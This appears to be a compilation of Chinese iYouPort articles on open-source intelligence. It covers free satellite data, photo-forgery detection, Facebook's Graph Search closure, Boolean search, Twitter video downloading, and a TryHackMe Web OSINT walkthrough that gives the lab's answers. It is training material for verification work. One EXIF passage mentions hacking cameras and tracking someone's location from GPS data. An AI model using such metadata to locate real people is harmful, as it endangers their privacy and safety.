为了获得高精度的DSM，您必须通过 JAXA Global ALOS portal 下载。接下来，您必须注册一个帐户。批准后，您可以就下载它了。

12、VITO Vision

「图」

「图」

VITO Vision 网站提供 PROBA-V、SPOT-Vegetation 和 METOP 免费卫星图像。这些粗分辨率的卫星可以雕刻出地球表面的植被格局。

创建 VITO Vision 帐户需要花费一些时间和精力。该界面直观易用，可随时提供免费的低分辨率卫星数据。这种数据类型对于不需要更详细信息的大型应用程序非常有用。

13、NOAA Digital Coast

「图」

「图」

当您在 NOAA’s Digital Coast 上探索数据时，这一切都与美丽的海滨有关。您将在此图像平台上获得沿海数据。

要下载数据，请选择您感兴趣的区域。定义要下载的数据集。并筛选结果。这里有底栖生物、海拔、图像、土地覆盖和社会经济数据。

您可以从一系列免费的卫星图像中进行选择，例如雷达，红外和真彩色复合图像。

14、Satellite Land Cover

Landcover.org 列出了从陆地卫星、MODIS 和 AVHRR 获得的全球土地覆盖数据。

利用这个工具，研究工作可以量化全球土地覆盖和土地覆盖变化。这包括地表的植被、地质、农业、水文和城市地区。

15、UNAVCO

如果你不知道 UNAVCO 是啥，这里有一个快速而有用的3分钟视频可以了解它。

他们的主要目标是使用大地测量技术来支持科学研究。洪水、板块构造、地震—— 这个世界是相通的。UNAVCO 通过提供对大地测量数据的访问来促进研究。他们用自己的 UNAVCO SAR Archive Search User Interface。

该网站充斥着来自卫星的合成孔径雷达。但是首先，您需要一个用户名和密码。然后就可以使用数据了。

最后

卫星数据为我们如何了解地球开辟了新的渠道。它是调查研究的刚需。

你已经知道，并不需要花几天的时间去寻找一个好的地图，你可以利用这个免费的卫星图像数据列表。

现在您可以从全球各地获得免费的卫星图像了 —— 找到您想要的东西，不再被宣传的谎言所误导。

让公民掌握真相，是那些 “空中的眼睛” 能做到的最正确对的事。

- 不要错过《上帝之眼：一个没有秘密的世界意味着什么？》

○□

原文

5个简单方法快速检测造假照片 - iYouPort

开源情报-每个人都可用的武器

作为公民所必备的傍身武器 —— 不要再被骗了，不要让自己看起来很傻

「图」

「图」

如果您正在进行开源深度调查、或信息验证，很可能经常会遇到需要确定图像是否被篡改过的情况。

篡改图像的动机有多种，比如：

1、政治抹黑，包括地缘政治冲突中的《战略性欺骗》；也包括本国内部当权者为镇压异议人士而采取的《人格暗杀》。

2、为符合所谓的宣传口径以“引导舆论”，而实施的《战略信息散发》；它的目的是《操纵式宣传》，以引发《信息战》。

3、社交网络《引流暴政》引发的虚假痴迷 —— 虚假信息由于其精心策划以满足大众的情感预期，从而能获得远高于真相的流量，《互联网人很难静下心来思考问题》。

当然还有其他可能性，但不论任何动机，它们的结果都是一样的，即：《损伤民主最重要的根基》。

这就是为什么要呼吁所有支持民主的公民加入到反击战中来。

要加入这场抵制虚假的战役，您必须拥有一些至少是基本的武器。

本指南列出了一些最常用的工具，以及如何使用它们来分析数码照片中的篡改。这些工具是作为公民所必备的傍身武器。

如果您还记得的话，我们曾经介绍过一些检验图像造假的知识，见

《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》。

今天的指南将系统介绍相关知识 —— 最基本的知识，无需技术基础。

只需要追求真相的一点点精神，虚假就很难盛行。

「图」

「图」

The telegraph-Photoshopped image from Iran

1、反向图像搜索

反向图像搜索是一种最傻瓜的和最易于使用的工具，每个人都会用，您可能想知道为什么本指南依然要包含它。

这是因为，对于初学者来说刚刚接触信息验证时，你可能不知道如何执行正确的反向图像搜索。

于是本指南将演示一个案例，介绍最容易理解的反向图像搜索思考方式。

这里采取的案例是奥巴马的可疑照片。

您要做的就是获取照片，然后转到 Google、Bing或 Yandex。

如果您关注过IYP的“OSINT”栏目中展示的诸多侦探挑战小游戏，就应该记得，我们多次强调过 **Yandex** 是最棒的搜索工具。

对于本演示，我将使用 Yandex。

「图」

「图」

Questionable Photo

在 Yandex 主页上，您需要选择“图像”，然后选择相机图标，以从计算机上传保存的照片，或者直接粘贴 URL。

「图」

「图」

Screenshot of Yandex homepage

「图」

「图」

how to open an image using the camera icon

「图」

「图」

Paste url or select a photo from your computer

滚动浏览图像列表后你会迅速找到原始图像，该图像向我们展示了第一幅图像如何好被数字化更改。

本案例是您最幸运状态下的样子。不幸的状态是，您也许需要滚动浏览一大堆图像，然后才能找到所需的内容。尤其是对于造假问题发生的最初，或者没有太高影响力的造假状态下。

「图」

「图」

original image found

幸运的是，存在一些有用的免费工具，可简化反向图像搜索的工过程。

RevEye 是一个 Chrome 插件，可搜索 Bing、Google、Yandex、TinEye。

使用 RevEye，您可以右键单击图像，然后直接转到列表中的相应搜索引擎。

「图」

「图」

RevEye Screenshot

回顾：我们专门介绍过搜索工具箱，见《如果你擅长搜索，你能找到一切》—— 这是一份完整版手册。

2、Forensically

Forensically 是基于Web的免费数字取证工具，可用于检测篡改痕迹、错误级别分析、图像元数据等等。

错误级别分析或 ELA 用于识别 jpg 图像中造假的不同级别。保存的 jpg 图像越多，压缩得越多，因此在对其进行分析时就能发现，图像被编辑过的部分会变得不太均匀，于是更加明显。

ELA 通常被许多人认为是主观的，但它可以帮助您识别图像中那些肉眼看不见的被编辑手脚。

「图」

「图」

Screenshot of Forensically

在下面这张照片中，应该能够很清楚地看到被编辑了什么部分。但我们还是要检查一下以确保您能熟练使用该工具。

「图」

「图」

单击右侧的“错误级别分析”按钮并调整滑块，可以很快看到照片中的乌龟头部分比其他任何部位和背景都更明亮、且不均匀。

使用 ELA 时，所有高对比度和低对比度边缘应看起来相似。如果差异很大，您可能需要怀疑图像已篡改。

「图」

「图」

Image showing ELA analysis

Forensically 中另一个有用的功能就是克隆检测。使用此工具可以看到图像中被克隆部分的所有位置。

该工具的精度在很大程度上取决于滑块的位置和原始图像的质量。

例如，下图中突出显示的点并非都是被克隆的，但是如果您不断调整滑块位置，就可以更好地找到实际被编辑过的痕迹。

「图」

「图」

当然还包括其他工具都很好用，例如元数据分析。Forensically 是调查工作的有力工具。

3、EXIF/Metadata

EXIF 代表可交换图像文件，它用于在使用 JPG 压缩的数码摄影中存储信息。

EXIF 文件中包含的信息包括相机信息，例如光圈、闪光灯、ISO编号、曝光、快门速度、镜头、分辨率、白平衡和GPS坐标。这些数据可以成为任何开源情报调查的关键。

也许您想知道相机的类型以便可以入侵它，或者您想要知道照片的GPS坐标以跟踪某人的位置……

存在许多查看 EXIF 数据的工具，包括右键单击图像并转到详细信息。

但是本指南将演示一个网站：**ExifData.com**，因为我认为它可以提供更多有用的信息。

- 如果您对元数据调查感兴趣，可以回顾我们曾经做过的做详细的分析《第一部分讲原理》、《第二部分介绍工具，从避免追踪到有效利用》

转到 ExifData.com，从计算机上传图像或提交 URL。

「图」

「图」

screenshot from exifdata.com

图片加载到站点后，您可以在图像右侧看到详细信息摘要。

左侧的“详细”按钮将为您提供更多详细信息，例如文件权限、大小、GPS坐标等等（如果有的话）。

「图」

「图」

「图」

「图」

Detailed summary from exifdata.com

4、Diff Checker

Diff Checker 是一个有趣的工具，可让您并排比较或重叠比较两张照片以查看它们之间的差异。

该工具在捕获图像的微小变化时很有用。

在 Diff Checker 主页上，您需要上传两张图片以进行比较。

「图」

「图」

screenshot of DiffChecker.com

「图」

「图」

查看被篡改痕迹的另一个选项是 Fade。Fade 将一个图像放置在另一个图像之上，并允许您切换不透明度以查看图像之间的变化。

「图」

「图」

Fade

“滑块”选项将图像放置在一起，允许您前后滑动以将一侧与另一侧进行比较。

「图」

「图」

Slider

差异选项将两张图像放在一起并反转颜色，以便您可以看到两张照片之间的差异。

有时，使用差异功能可以帮您捕获到通常很难被看到的微小修改。

「图」

「图」

Difference

5、你的眼睛 —— 随身携带的识别工具

这真的不是玩笑。

有许多微妙的线索可以表明图像已被数字化篡改。

有时候您无需使用任何特殊工具即可直接看到许多被篡改的痕迹。

下图是一个著名的骗局图像：

「图」

「图」

只要稍微仔细观察就会发现一些非常明显的迹象表明该图像已被篡改。

放大后可以清楚地看到，普京脸部的对比度比其他部分要粗糙得多，阴影也不正确。

同样，缩小时，您可以看到他的身体轮廓与周围的轮廓明显不同。

「图」

「图」

关于对比度、纹理差异和不匹配的阴影作为识别线索，另一个例子也非常著名：

「图」

「图」

「图」

「图」

如上图，您可以看到所有人的阴影如何与爱因斯坦身上的阴影方向不匹配。

此外，爱因斯坦与其他人之间的对比度和纹理感也不同，并且头发的边缘看起来非常不自然，那是剪裁的结果。

最后

事实上有大量有用的工具可以帮助分析数码照片是否被篡改，以进行验证。

本指南介绍的都是最最基本的方法，只需要您花一两分钟的思考就可以识别造假。您可以挑选最合适您的任何工具。

就个人而言，我经常将 Start.me 与 Verification Toolset 一起使用，后者提供了大量验证措施。

请记得，作为拒绝被蒙骗的普通公民，您不一定需要精美的工具来分析数码照片，许多验证工具都是免费的，易于使用的，并且随时可用！

不要再被骗了，别让自己看起来很傻。那真的特别不可爱。〇 广告

原文

Facebook 正在令真相挖掘事业陷入困境 - iYouPort

关于Facebook-这不只是一家公司开源情报-每个人都可用的武器

噩梦成真了

「图」

「图」

IYP 在去年的答读者问中解释过为什么OSINT是“退一步的想法”，而不是进一步，在这里看到《情报不是简单的信息》。

我们的基本原则应该是：不要依赖自己无法掌控的东西。这就是为什么民间独立的OSINT注定处于弱势地位 —— 因为它所依赖的是工具掌握在技术寡头手里。

这是对民间独立OSINT长期以来的担忧，现在噩梦成真了。

寡头以“隐私”为掩护剥夺正义人士分享数据的能力 —— 这招稳准狠，隐私的绝对性解释是**OSINT**的唯一弱穴。

这不会是偶然现象，或许只是一个开始。

请注意这里的关键字是：“民间独立- 调查”；开源情报也是政府间谍部门很常用的方法，但是他们不会被打击。权力再次失衡。

如果民间输掉了这场对战 Facebook 的战役，真想挖掘的事业将就此面临迅速加深的危机。（当权者对民间独立调查的压制去年已经开始了，见这里《“谷歌地图”是比詹姆斯邦德更棒的间谍》）。

「图」

「图」

Facebook 悄然改变了一系列高级功能，这些功能以前允许用户以强

大的方式搜索社交网络 —— 也就是 OSINT 的主要工具之一。

例如，通过关键字在特定日期范围内查找 Facebook 上的所有帖子、所有点赞某个 Facebook 页面并居住在特定城市或两个特定用户访问过的地方的人等等。

这些搜索功能收集的所有信息都来自用户的公开个人资料 —— 也就是开源情报的概念。

但是，相关新闻突出了 Facebook 最近对所谓的“隐私”的重视 —— 简单说是在隐私的旗号下。

这些功能可能会被滥用于查找 Facebook 用户的信息，但是，它们对于开源调查人员来说也有很大的帮助。比如查找网络水军、追踪群体事件揭露官方谎言等等。相见《OSINT》操作。

社交媒体研究专家兼在线调查组织 Bellingcat 的成员 Henk Van Ess 在 Twitter 的直接消息中表示，“大多数工具都已关闭。”

该功能称为图谱搜索，基本上需要在浏览器中输入正确的 URL，其中包含一些参数，例如嵌套在该 URL 中的关键字。

开源情报（OSINT）社区的一些成员构建了工具来简化这些 URL 的生成并使搜索过程更容易。

Van Ess 在其网站上发布了公共工具，用于搜索包含特定日期、月份或年份的关键字的帖子以及日期范围。

OSINT 培训师 Michael Bazzell 在他的网站上发布了大量的 Facebook 搜索工具，包括查找 Facebook 用户评论过的所有照片的工具。

另一项名为 StalkScan 的服务由道德黑客 Inti De Ceukelaire 运营，允许用户简化类似的搜索。

“正常的 Facebook 搜索功能根本做不到这点：它返回的结果要少得多，而你可以搜索的最小时间范围是一个月，” Bellingcat 的成员尼克·沃特斯（Nick Waters）在一封写给 Facebook 员工的信件中写道。

但据多家社交媒体研究人员和工具维护人员都称，图谱搜索已经停止工作。

“由于 Facebook 的变化，StalkScan 目前无法使用，”StalkScan 网站

上的一则公告写道。

「图」

「图」

Bazzell 还面临着其他麻烦，⚠虚拟主机威胁要关闭他的网站，除非他移除那些搜索工具。

“每个人都开始报道 Facebook Graph 被破坏的同时，我的网站完全崩溃了，我被暂停了。我不是在责怪 Facebook。我只是说：在同一时间发生所有事的可能性是多少”，他说。

使用这些工具来挖掘真相的团体已经感觉到了压力。周六，"Waters 只能在推特上寻求帮助"，以寻找有助于研究也门空袭的调查的材料。

“很明显这一工具被一些非常重要的社会部门使用，从人权调查人员和需要真相的公民，从调查人口贩运和性奴役的警察，到紧急救援人员……”

Van Ess 还与 Motherboard 分享了一些消息，他说这些消息来自寻找替代工具或更新的人，包括记者和追踪腐败的公司。

“仅仅通过阅读 DM [直接消息]，我就能看到杀死 Graph 的影响有多深远：涉及侵犯人权，战争罪，恐怖主义，极端主义，白领犯罪（欺诈，洗钱，逃税），腐败，虚假宣传活动，环境犯罪，网络犯罪的调查，都受到了挫折 —— 该名单还可以更长，“他说。

然而，这些工具的确被滥用了。 Bazzell 在他的播客中说，虽然他的网站面临很多恶意攻击，但工具部分是被攻击最多的目标；

“我的在线工具一直在被滥用，”Bazzell 在播客中说道。“有许多公司试图使用我的 PHP 工具来集中收集信息。”

“我的 Facebook PHP 查找工具经常被那些每分钟提交数千个请求以将 Facebook 用户名翻译成ID号码的人滥用，然后将其用作数据库创建过程的一部分，”他补充说。

这一变化似乎也开始了 **OSINT** 社区与 **Facebook** 之间的猫捉老鼠游戏，⚠社区不断更新工具，而 **Facebook** 不断阻拦。

“我修补了我的工具5次，每次，大约2小时后，工具就会被FB

[Facebook]瘫痪。其他工具开发者也经历了同样的事，” Van Ess 说。

他说他已经找到了许多仍然允许相同搜索功能的解决方法，现在密码保护他的网站，所以只有经过审核的人才可以使用这些工具。

Van Ess 授予主板访问权限以验证工具；主板确认其中一些确实有效，但其他的在撰写本文时并没有效果。

在他的播客中，Bazzell 说他的 Facebook 工具在更新后再次运行。

Bazzell 表示他们仍有一些问题，有些人使用该网站的移动版本，“但我们正在恢复该功能。”这些工具仅次于 Bazzell 自己的会员专区，而以前是公开的。

Bellingcat 计划向 Facebook 发布一封公开信。在撰写本文时，Bellingcat 仍在起草这封信。

今年3月，Facebook 首席执行官马克扎克伯格表示，该公司正朝着“用户隐私的新方向”发展。这是剑桥分析公司丑闻之后的插曲。但是，不久之后，Facebook 被发现以明文存储了数亿个密码…… 所以，信他是愚蠢的。

⚠对工具的封查完全不能保证不会再出现剑桥分析公司那样的事，他们在暗地里，而公民调查人员在明处。这就是 Facebook 以“隐私”为大旗的荒谬。

⚠更重要的是，如果此次对战 Facebook 导致的协商结果是要求使用OSINT工具的人遵循实名制，那将出现另一个危机—— 尤其是对于居住在不自由国家的民间调查人员来说，如您所知。

Facebook Quietly Changes Search Tool Used by Investigators, Abused By Companies

原文

TryHackMe：Web开源情报调查练习 - iyouport

开源情报-每个人都可用的武器

亲自尝试一下很重要

开源情报收集对于安全研究人员、道德黑客、渗透测试人员、安全分析师，当然还有黑帽黑客来说，都是至关重要的。开源情报有助于收集和分析来自公开可用资源的信息，以达到情报目的。

为了了解开源情报收集是什么样的，本文将通过 TryHackMe 的 “Web OSINT” 来尝试一个调查。这个平台的目标是收集与网站相关的信息。

P.S：强烈建议大家亲自尝试一下，您将能够提升您的侦察技能，填补您缺乏的空白。

目标：

使用不同的工具收集与目标网站相关的一切信息。

任务1：当一个网站不存在时

「图」

在寻找与企业相关的所需信息时，人们通常会使用google。考虑一个场景，您必须找到一些信息，而目标网站已经不存在了。您会怎么做？当您在这里尝试解决这个特殊的挑战时，您就会知道这一点。我们必须收集一些与一个名为 “RepublicOfKoffee.com” 的网站相关的数据，当试图导航到这个网站时，google搜索显示以下内容：

该网站不存在，但即使它不存在，您也可能会调出一些信息。

任务2: 域名注册

「图」

直接搜索目标网站没有找到任何信息，但还是可以通过一个叫 lookup.icann.org 的工具找到目标网站的相关信息。还有很多其他的工具也可以从中提取出一些信息，比如域名的主人是谁、名称服务器、电话号码、电子邮件地址、城市/国家等。

导航到上面提到的在线工具，找到所需的信息，即 网站注册的公司名称、电话号码、名称服务器、注册人的名字和注册人所在的国家。

从这里了解到，该域名是由一家叫 NAMECHEAP INC 的公司所有的。

同样，您也可以找到电话号码、名称服务器、注册人的名字和注册人的国家，如下图所示：注册的电话号码

名称服务器

「图」

注册人

「图」

注册国家

任务3：目标网站过去的幽灵

「图」

现在，您已经从公开的工具中提取了与目标网站相关的基本信息。现在您就可以尝试找出网站的样子，即使网站已经不存在。

这里要利用的是 waybackmachine，它保存着一年中不同时期的网站档案。

需要找到目标网站上第一个博客的作者姓名。导航到时光机器时间轴上找到的第一个存档：

博客作者：Steve

接下来需要找到作者写作的国家。您已经知道了博客中提到的城市名

称和地方，做一点研究就能找到地点 —— 韩国光州。

导航到下一个博客，需要在其中找到作者所参观的寺庙的名称：

对博客中提到的地方进行一些检查就很容易发现寺庙名是：证心寺。

任务4：深入研究DNS

「图」

到目前为止，您已经收集到了足够的信息，可以用来得出一些结论。现在您需要找到更多与网站相关的技术细节，如IP地址、网站使用的主机类型。

使用 ViewDns 信息，我们可以收集到很多与网站相关的信息。

接下来需要查找的是截至2016年10月的 RepublicOfKoffee.com 的IP地址。使用IP历史记录提取所需的信息：

现在您需要找出目标网站使用的托管服务。使用反向查找来达到这个目的。有一长串的域名与之前找到的IP相关联。这说明目标网站所有者使用的是共享托管服务，因为它的成本比专用托管服务低很多。

回溯IP历史，在该域名历史上，IP地址变化过4次。这就回答了这个任务的最后一个答案。

任务5

「图」

现在有一个新的目标域名 heat.net。需要找到辅助名称服务器：

截至2011年12月列出的该域的IP地址：

域名所有者正在使用的托管服务

域名所有者正在使用的共享主机服务

互联网档案馆捕获的第一个网站的日期

第一段的第一句摘自2001年的最终捕获：

SegaSoft是负责该网站原始版本的公司。

任务6

「图」

要找到规律，必须考虑被调查对象的每一个方面。长时间休眠的网站，在重新上线后，会引起不同的关注。要验证网站是否合法，需要记住一些要点，如网站的语言、用户界面和设计等。

有些时候开发人员会在源代码中留下注释，可以通过分析这些注释来收集更多关于目标的信息。外链和内链可以用来将信息连接起来。

在这里，您将被指示导航到一个链接，并找出以下内容。

本案例中的内链数：5

外链数：1

外链地址：purchase.org

链接到该网站的 Google Analytics 代码：

使用文章上的查看页面源代码，并找到如下所示的Google Analytics代码

为了查明此 Google analytic 代码是否已在其他任何网站上用过，使用 nerdydata.com。该在线工具将搜索网页，并告诉您是否在其他任何网站中找到了该查询；

这个案例中没有找到任何其他网站。您可以通过查看href的内容来寻找此类链接。

任务7

「图」

在这个任务中，您需要找到目标网站即 heat.net 和外链之间的联系。重新查看IP历史工具，你会发现外链(purchase.org)与 heat.net 是相同的所有者。

收尾工作

「图」

如前，您发现这两个网站的所有权是相同的。当看到 heat.net 时，并没有发现该网站非常有趣或吸引人，也没有产生那么多的流量，而另一方面，purchase.org 是一个电子商务网站，可能比 heat.net 产生更多的收入。从这里您可以得出的结论是，业主正在运行一个私人博客网络(PBN)，以说服搜索引擎将他们的主网站排到更高的位置，这是一种常用的SEO优化手段。也就是说，Heat.net 只是为了诱骗搜索引擎将 purchase.org 排到更高的位置。〇

TryHackMe: Web OSINT Writeup

原文

一个搜索统治一切：调查用心而非技术 - iYouPort

开源情报-每个人都可用的武器

对于调查，最重要的是强逻辑、想象力和创造力，而非技术；自动化技术可以帮你加快速度，但首先你必须知道该怎么调用它们

「图」

「图」

掌握调查的基本原则远胜过掌握技术 —— 这非常重要。也是为什么我们需要不断强调这点，《开源调查应该是一种心智》。

将正确的方法应用于问题才是首要的，而非拼命去搜罗更多的工具。

这有很多原因。但最主要的原因就是，您喜欢使用的几乎所有工具和技术都是相对短暂的，并且很快就会过时。Facebook 图谱搜索的消亡是众所周知的例子。

新技术经常令人兴奋，但是，有一些非常古老的技术由于高度实用，生命力非常顽强；当这些古老的技术与现代技术相结合时，它们是任何开源情报调查武器库中的有用部分。

布尔搜索背后的数学逻辑可以追溯到19世纪，它仍支持现代计算机技术、编程和网络搜索等。

它还提供了一个逻辑结构，可用于评估命题并确定某些事物是真还是假 —— 这最终是任何类型调查的目的。

本文将介绍如何使用布尔逻辑来解决侦探挑战，以及如何将它们应用于进行高度针对性的 Google Image 搜索。

「图」

「图」

OR, AND, NOT

无论多大或多小，任何调查的目标都是得出一系列可以证明是真的命题，任何不正确的命题都被消除并被证明是假。

例如，如果你现在需要调查银行抢劫案，并且证人将嫌疑人描述为：25岁以下的白人男子、身穿蓝色外套、当地口音，那么你应该知道，当所有这些条件都为真时符合嫌疑人描述的人群在哪里可以找到。

如果这些条件中的任何一个不属于嫌疑人，则可以将其删除（这里忽略了证人可靠性和其他现实因素的问题）。

因此，如果你有一个神奇的数据库，就可以通过搜索找到谁抢了银行——使用布尔逻辑设置参数来找到嫌疑人。

应该是这样的：

white male AND under 25 AND blue jacket AND local accent

假设每个可能的人都在这个庞大的数据库中，那么嫌疑人就会藏在搜索结果中。任何不符合这些标准的人都可以被淘汰。

在 Google 搜索中，AND运算符（更常见的是＋号）用于实现相同的结果。

搜索 **white male AND under 25** 将返回25岁以下的白人男性。

组合多个AND查询将返回所有条件都为真的搜索结果。用以搜索特定信息。

现在假设你和银行抢劫案中的另一名证人交谈过。这名证人并不认为嫌疑人穿着蓝色外套，而且她相当肯定地说那是一件绿色夹克。

这使搜索变得复杂一点，因为现在不再可能确定嫌疑人穿着蓝色夹克了。

这会导致一些不确定性，这意味着你必须稍微更改数据库上的搜索查询。输入OR运算符。

当有多个可能的查询答案时，OR运算符有助于构造搜索项。

现在你怀疑穿着什么颜色的夹克这个问题有一点不确定性，那么就可以通过添加OR运算符来修改搜索：

white male AND under 25 AND local accent AND blue jacket OR green jacket

所以现在这个搜索将返回所有穿着蓝色夹克和绿色夹克的嫌疑人的详细信息。出于调查目的，OR运算符允许在搜索参数中考虑一点点不确定性。

这样的搜索结果中仍会呈现过多的杂音；你需要添加更多的参数来缩小结果范围。

你可以在结果为真的情况下添加的条件越多，意味着有更高的机会找到嫌疑人。

现在你决定再次询问证人以获取更多信息。

证人们都同意一点：对于一个成年男子来说，嫌疑人的身材显得非常小，可能不超过160厘米。

这个信息允许你继续调整搜索，并引入NOT运算符。

这用于过滤条件不正确的结果。你可以将它应用于搜索查询，如下所示：

white male AND under 25 AND local accent AND blue jacket OR green jacket NOT taller than 160cm

通过将 NOT 运算符添加到已存在OR运算符的搜索中，你可以消除每个超过160cm的嫌疑人的可能结果，进一步缩小嫌疑人池。

就是这么简单。

因此，你所知道的事实越多，调查中的主题就越正确，可以应用的标准就越多，以消除不正确的答案并找到正确的答案。

布尔运算符是执行此操作的最佳方法，无论是在进行搜索查询时，还是在考虑问题或进行差距分析等操作时，都非常常用。

它有助于保持调查的重点，阻止人们只是猜测或只是乱撞。

一切都很容易，是吧？

接下来本文将展示如何应用这个想法，构建一个布尔搜索词，它将帮您找到侦探挑战的答案 —— 照片地理定位挑战。

挑战的题目是这样的

这个地理定位挑战采用 Philipp Dudek 发布的短视频：

在确定该位置必须符合的标准之前，仔细听声音以及观看视频非常重要，以此来分析必须使用哪些布尔搜索运算符来查找它。

应该强调一下，这种方法并不是解决这一特定挑战的唯一方法，但如果您能了解底层逻辑的重要性，那么当遇到困难时就可以顺利转入采取其他方案。

使用哪种搜索标准？

起初并不完全清楚这是什么。

Philipp 正沿着某条隧道行驶。这地方是火车隧道还是地铁站？

你能听到移动过程中会发出有节奏的机械声 —— 可能是火车、电梯、电动步道、还是自动扶梯？

「图」

「图」

唯一具有视觉特色的是整个墙上的原点图案。这足以实现地理定位吗？

最终会是这样。但我们可以添加的参数越多，就越容易确定。

从之前的测验可以得知 Philipp 住在德国，所以也可以添加“德国”作为搜索参数之一。

因此，将所有这些变量考虑在内的搜索词看起来就像下面这样。用＋号替换了AND，它意味着同样的事：

Germany ＋ tunnel OR escalator OR elevator ＋ dots

此搜索结合了可以确定的位置标准（Germany, dots），然后使用OR

运算符搜索可能与正确位置相关的事物，但仍存在一些疑点（隧道，电梯，自动扶梯等）。

搜索结果将显示这些参数的所有匹配项，因此正确的结果将存在于某处。

Google Images 还是 Yandex?

在进行这种类型的布尔图像搜索时，搜索引擎的选择会有所不同。

通常有经验的调查人员更喜欢 Yandex 用于图像搜索，因为它非常适合查找视觉匹配，因此对地理定位很有用。

Google图片搜索通常更擅长确定图片显示的对象类型，然后根据相关关键字建议匹配。

考虑一下 Paul Fennell 最近的图像位置挑战：

「图」

「图」

当使用 Yandex 进行反向图像搜索时，它会立即找到该照片的匹配项：

「图」

「图」

但是Google没有找到匹配的图片。相反，它确定图像是雕像，然后根据物体是雕像的事实呈现一些它认为相关的搜索结果：

「图」

「图」

这是呈现图像搜索结果的重要方式。

这就是为什么 **Yandex** 通常对于直接反向图像匹配更可靠，但在这种情况下，我们将基于布尔关键字列表进行图像搜索，因此 Google Image 搜索是一种更好的工具，用于查找正在寻找的图像。

这就是调查的思考方式：一切为了目标。

结果

所以，输入 **Germany + tunnel OR escalator OR elevator + dots** 将产生以下结果：

「图」

「图」

在第一页上就有一个强烈的视觉匹配位置。汉堡的 Elbphilharmonie：

「图」

「图」

看起来它很可能就是正确的位置。如果 Philipp 在他乘坐这个自动扶梯的时候拍摄，那将是一场相当不错的视觉效果。

但有没有办法更确定一下呢？

在这一点上，可以找到 Elbphilharmonie 的大量图像进行直接比较，但在某些情况下，这并不总是可行的；因此有必要稍微调整一下布尔搜索。

搜索中的初始参数是“德国”。如果收紧一点用“汉堡”取代“德国”，会发生什么？

「图」

「图」

效果更好了。通过改进参数来检查该位置在汉堡的假设，现在有了更多的 Elbphilharmonie 匹配。

第一个结果就是。简直完美。

这就是调查的基本方法。您掌握了吗？

理论上互联网欺骗应该很难得逞，如果大多数人都有调查意识的话；现在只要能保证少数人具有逻辑和探寻真相的意识，谎言就不会太过荒唐。希望这少数人中有您。〇

广告

原文

下载推特视频的五种方法 - iyouport

开源情报-每个人都可用的武器

您可以根据自己的具体安全需求，选择合适的方法

【注】我们介绍工具和方法始终倾向于尽可能安全操作的大原则，重点考虑敏感人士和前线工作者的使用，尤其是公民调查的使用 —— 您的调查对象可能有强大的权力，并很可能会千方百计地阻止您说出他们的秘密。为了持续并完成您的调查，非常有必要在调查过程中保持足够的私密。

需要下载社交媒体视频的调查项目是为挖掘视频中隐藏的线索和证据，其敏感程度不尽相同。从相对低敏感程度的追踪验证虚假消息（比如这样的）、到高敏感程度的调查武器/镇压武器的销售（比如这样的），也就是说，您的调查所涉及的金钱额度越高，危险性越大，因为肇事者有强大的利益动机去阻止您。

📌 所以，您应该根据自己的实地情况选取不同安全级别的调查工具 —— 其中第三方网站是安全级别最低的。

与 Facebook 和 Instagram 等平台不同，在Twitter上下载视频可能有点困难。这与Twitter上的视频是以不同的方式加载的事实有关。在这篇文章中，aware-online 解释了从Twitter下载视频的五种不同方式。

推特视频文件扩展

「图」

为了从Twitter上下载视频，了解Twitter上视频的文件类型以及视频在Twitter上的加载方式很重要。本文将通过下面的视频向您展示如何找出视频在Twitter上的播放方式。

如果您在Twitter上观看上述视频，并没有右键“另存为”的选项来保存视频。此外，如果您想通过“检查元素”找到视频的链接，或者在源代码中查找视频，也不会成功。这是因为视频在Twitter上的加载方

式不同。下面将解释具体的方法。

要想知道视频在Twitter上是如何播放的，请导航到您想保存的相应视频。通过F12打开您的浏览器开发者工具，点击 ”网络” 标签。然后刷新页面以查看来自您的网络浏览器的所有请求。然后点击 “媒体” 标签，之后您会看到下面这样的请求。

在上图中，您可以看到浏览器已经向域名 video.twimg.com 发送了七个请求。还会看到有两种不同的文件类型，一个是 .m3u8 扩展名，一个是 .ts 。扩展名为 M3U8 的文件是一种多媒体播放列表的文件格式。它是文本文件，包含一个或多个媒体文件的位置信息。扩展名TS是 “MPEG传输流” 的缩写，是一种用于传输和存储音频和视频文件的文件格式。

仔细看一个**m3u8**文件

要打开.m3u8文件，右击 “video.twimg.com” 并点击 “复制” 来复制URL。打开一个新的标签页，粘贴复制URL。您现在可以尝试用媒体播放器打开该文件，但这很可能不起作用。相反，您可以用文本编辑器如 “记事本”（默认Windows记事本）或 “记事本＋＋”保存和查看该文件。打开该文件时，您会看到该文本文件引用了其他.TS文件。

您也可以双击直接打开该文件。

上面的图片是下载的文本文件的一部分的屏幕截图。看一下文件的内容，您会发现有23次指向一个.TS文件的链接。这些链接有22次是 “3.000”，一次是 “2.013”。这些数字代表了.TS文件的持续时间，单位是秒，秒数相加的结果是68秒。这正是视频的持续时间。显然，.TS文件是一种切割过的视频，一旦它们被放在一起，就形成了一个完整的视频。

如何查看**TS**文件

如果想打开一个.TS文件，您可以通过再次复制该文件的URL或用鼠标双击 “video.twimg.com” 来实现。您可能会发现，可以用媒体播放器播放该文件，但视频只有三秒钟的时间。毕竟，正如在.M3U8文件中已经看到的那样，.TS文件只持续三秒钟。因此，为了保存整个视频，您可以单独保存所有的.TS文件，然后单独播放或将它们拼接起来。这不是很实用，所以下面将介绍五种不同的方法来下载Twitter视频。

请确保先通过浏览器的开发者工具加载所有的.TS文件。

方法一：使用 youtube-dl

「图」

已经多次介绍过 youtube-dl。它是一个开源的命令行工具，从Twitter和YouTube 等各种平台下载视频是快速而简单的。Youtube-dl 需要安装 Python，在Github上维护，可以在Windows和 Mac OS X环境下使用。

因为该程序是开源的，您可以自己查看该程序的源代码。这样做的好处是，您可以控制您正在做的事。毕竟您可以清楚地知道程序做什么和不做什么，以及您的数据会发生什么。

关于 *youtube-dl* 的使用方法，见：《如何对视频进行开源情报调查和信息验证：推荐好用的工具》；《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》。

第1步：安装Python和PIP

在下载 youtube-dl 之前，建议您先安装 Python 和 PIP 。在 Windows 命令提示符 (CMD) 中使用下面的命令检查 Python 和 PIP 是否已经安装。

```
Python
```

```
Pip
```

第2步：下载 youtube-dl

Youtube-dl 默认不包含在Python中，所以在使用该程序之前必须安装该程序。要在您的 Windows 命令提示符(CMD)中通过PIP来安装 youtube-dl 程序。

pip install youtube-dl

第3步：用 youtube-dl 下载一个视频

要下载一个视频，运行下面的命令。该视频将被自动保存到用户在电脑上的文件夹中。

```
youtube-dl [[https://video.twimg.com/
ext_tw_video/1294732618374811650/pu/
